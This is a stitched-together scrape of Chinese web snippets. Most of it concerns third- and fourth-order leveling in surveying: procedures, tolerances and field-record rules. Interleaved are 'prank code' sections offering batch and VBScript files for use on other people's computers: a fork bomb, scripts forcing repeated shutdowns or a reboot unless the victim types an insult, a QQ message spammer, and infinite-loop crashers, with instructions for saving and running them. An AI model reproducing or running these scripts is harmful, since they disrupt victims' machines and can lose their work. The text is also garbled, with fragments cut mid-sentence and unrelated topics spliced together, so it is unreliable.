三等≯6m，四等≯l0rn②水准尺读数的检核同一根水准尺黑面与红面中丝读数之差： 前尺黑面与红面中丝读数之差13)=(6)K(8) 三等≯2mm，四等≯3mm (上式中的K为红面尺的起点数，为4．687m或4．787m)③高差的计算与检核黑面测得的高差(15)=(3)(7) 校核：黑、红面高差之差 (17)=(15)(13) 三等≯3mm，四等≯5mm 高差的平均值（18)= [（15)+(16)0．100]/2在测站上，当后尺红面起点为4．687m，前尺红面起点为4．787m时，取0．100，反之，取 2[(6)+(7)]=∑[(15)+(16)]=2∑(18)对于测站数为奇数的页：∑[(3)+(8)]∑(10)=本页末站之(12)—上页末站之(12)，水准路线总长度=∑(9)+ ∑(10) 4、成果整理 三、四等水准测量的闭合路线或附合路线的成果整理，首先其高差闭合差应满足表7-10 的要求。然后，对高差闭合差进行调整，调整方法可参见第二章有关部分，最后按调整后的高差计算各水准点的高程。若为支水准路线，则满足要求后，取往返测量结果的平均值为最后结果，据此计算水准点的高程。 5、四等水准采用塔尺进行观测的步骤如下：后（上、下、中）---前（上、下、中）----改变仪器高----前（中）--后（中）7-8 三角高程测量(trigonometric leveling)原因：
整人电脑代码修订稿
整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】
第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop
四等水准测量
四等水准测量 四等水准测量 1.四等水准测量的概念 2.四等水准测量的技术要求 3?四等水准测量的方法步骤 4.四等水准测量的观测记录 5.四等水准的测量的计算 6.四等水准测量的注意事项 1.四等水准测量的概念 我们将用水准测量的方法测定的高程控制点称为水准点。 水准点记为BM（Bench Matk）。 三、四等水准测量，常作为小地区测绘大比例尺地形图和施工测量的高程基
本控制。 高程测量时测量工作三大基本内容之一。水准测量是高程测量的一种方法。 四等水准测量与普通水准测量的异同点： （1）相同点：都需要拟定水准路线、选点、埋点和观测等程序。 （2）不同点：四等水准测量必须使用双面尺观测，记录计算， 观测顺序，精度要求不同
2?四等水准测量的技术要求 四等水准路线一般沿道路布设，尽量避开土质松软地段，水准点间距 一般为2~4Km在城市建筑区为1~2Km水准点应选在地基稳固、能长久保存和便于观测的地点。 3.四等水准测量的方法步骤 （1）测量方法 四等水准测量的观测应在通视良好、望远镜成像清晰、稳定的情况下
进行。(2)观测步骤 (2)观测步骤 引入K值得概念: K为双面水准尺的红面分划与黑面分划的零点差(常数 4.687m 或4.787m),对于四等水准测量，读数差不能超过3mm 四等水准测量中，水准尺必须成对出现。 或里一红一里一红 八、、
①在测站上安置仪器，使圆水准气泡居中，后视水准尺黑面，用上、 下丝读数，记入记录表中（1）和（2）;用中丝读数，记入表中 （3）。 ②翻转水准尺，后视水准尺红面，用中丝读数，记入表中（4）。 ③前视水准尺黑面，用上、下丝读数，记入表中（5）和（6）,前视 水准尺黑面，用中丝读数，记入表中（7）。 ④翻转水准尺，前视水准尺红面，用中丝读数，记入表中（8）。 4.四等水准测量的观测记录 4.四等水准测量的观测记录 四等水准测量观测记录手薄
vbs整人代码大集合1
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do
三四等水准测量步骤
四等水准测量控制测量除了要完成平面控制测量外，还要进行高程控制测量。小区域地形测图或施工测量中，多采用三、四等水准测量作为高程控制测量的首级控制。 一、三、四等水准测量(leveling) 的技术要求 1、高程系统：三、四等水准测量起算点的高程一般引自国家一、二等水准点，若测区附近没有国家水准点，也可建立独立的水准网，这样起算点的高程应采用假定高程。 2、布设形式：如果是作为测区的首级控制，一般布设成闭合环线；如果进行加密，则多采用附合水准路线或支水准路线。三、四等水准路线一般沿公路、铁路或管线等坡度较小、便于施测的路线布设。 3、点位的埋设：其点位应选在地基稳固，能长久保存标志和便于观测的地点，水准点的间距一般为1 —1. 5km 山岭重丘区可根据需要适当加密，一个测区一般至少埋设三个以上的水准点。 4、三、四等及五等水准测量的精度要求和技术要求列于表中。 二、三、四等水准测量的观测方法
三、四等水准测量观测应在通视良好、望远镜成像清晰及稳定的情况下进行。一般采用一对双面尺。 1、三等水准一个测站的观测步骤：（后-前- 前- 后；黑- 黑- 红- 红） /I—I 5 八、、八、、/ （1）照准后视尺黑面，精平，分别读取上、下、 中三丝读数，并记为（1）、（2）、（3）。 （2）照准前视尺黑面，精平，分别读取上、下、 中三丝读数，并记为（4）、（5）、（6）。 （3）照准前视尺红面，精平，读取中丝读数，记为（7） （4）照准后视尺红面，精平，读取中丝读数，记 为（8） 这四步观测，简称为“后一前一前一后（黑一黑一红一红）”，这样的观测步骤可消除或减弱仪器或尺垫下沉误差的影响。对于四等水准测量，规范允许采用“后一后一前一前（黑一红一黑一红）”的观测步骤。 2、一个测站的计算与检核： 观测记录参看书本表7-11 。
四等水准测量
四等水准测量实习指导书 一、测量实习的一般规定 (1)实习前，必须阅读《数字测图原理与方法》教材的有关章节及《水准测量实习指导书》的相应实验项目内容。测量过程中，必须携带《四等水准测量实习指导书》，便于参照实习内容、记录有关数据和计算。 (2)实习分小组进行，组长负责组织和协调各小组具体工作。实习应在规定时间内进行，不得无故缺席或迟到、早退；应在指定的实习场地进行，不得擅自改变地点。实习应听从教师的指导，严格按照实习要求，认真、按时、独立地完成任务。 (3)测量记录应该用正楷书写文字及数字，不可潦草，并在规定表栏中填写。记录应用2H或3H铅笔。 (4)记录者听取观测者报出数据后，应向观测者回报所记录的数据，以免记错。 (5)记录数字若发现有错误，不得涂改，也不得用橡皮擦拭，而应该用细横线划去错误数字，在原数字上方写出正确数字，并在备注栏内说明原因。 (6)若整站观测成果不合格(观测误差超限)，则用斜细线划去该栏记录数字，并在备注栏内说明原因。 (7)根据观测结果，应现场进行必要的计算，并进行相应的成果检验，以决定观测成果是否合格、是否需要进行重测(返工)。 (8)实习结束时，应把观测记录和实验报告交指导教师审阅。经教师认可后，方可收拾仪器和工具，作必要的清洁工作，向实验室归还仪器和工具，结束实习。 二、测量资料的记录要求 测量资料的记录是测量成果的原始数据，十分重要。为保证测量原始数据的绝对可靠，实习时即应养成良好的职业习惯。记录的要求如下： (1)实习记录应和正式作业一样必须直接填写在规定的表格上，不得转抄，更不得用零散纸张记录，再行转抄。 (2)所有记录与计算均用绘图铅笔（2H或3H）记载。字体应端正清晰，字体只应稍大于格子的一半，以便留出空隙作错误的更正。 (3)凡记录表格上规定应填写之项目不得空白。 (4)禁止擦拭、涂改与挖补，发现错误应在错误处用横线划去。淘汰某整个部分时可用斜线划去，不得使原字模糊不清。修改局部错误时，则将局部数字划去，将正确数字写在原数上方。 (5)所有记录之修改及观测结果之淘汰，必须在备注栏内注明原因。 (6)禁止连环更改，即已修改了平均数，则不准再改计算得此平均数之任何一原始读数，改正任一原始读数，则不准再改其平均数。假如两个读数均错误，则应重测重记。 (7)原始观测之尾部读数不准更改，如角度读数度、分、秒而秒读数不准涂改，应将该部分观测结果废去重测。 三、测量成果的整理、计算及计算作业要求 (1)测量成果的整理与计算应在规定的打印表格或事先画好的计算表格进行。 (2)内业计算用钢笔书写，如计算数字有错误，可以用刀刮去重写，或将错字划去另写。 (3)上交计算成果应是原始计算表格，所有计算均不许另行抄录。 (4)成果的记录、计算的小数取位要按规定执行。各等级的水准测量的记录和计算的小数位取位列表于表1。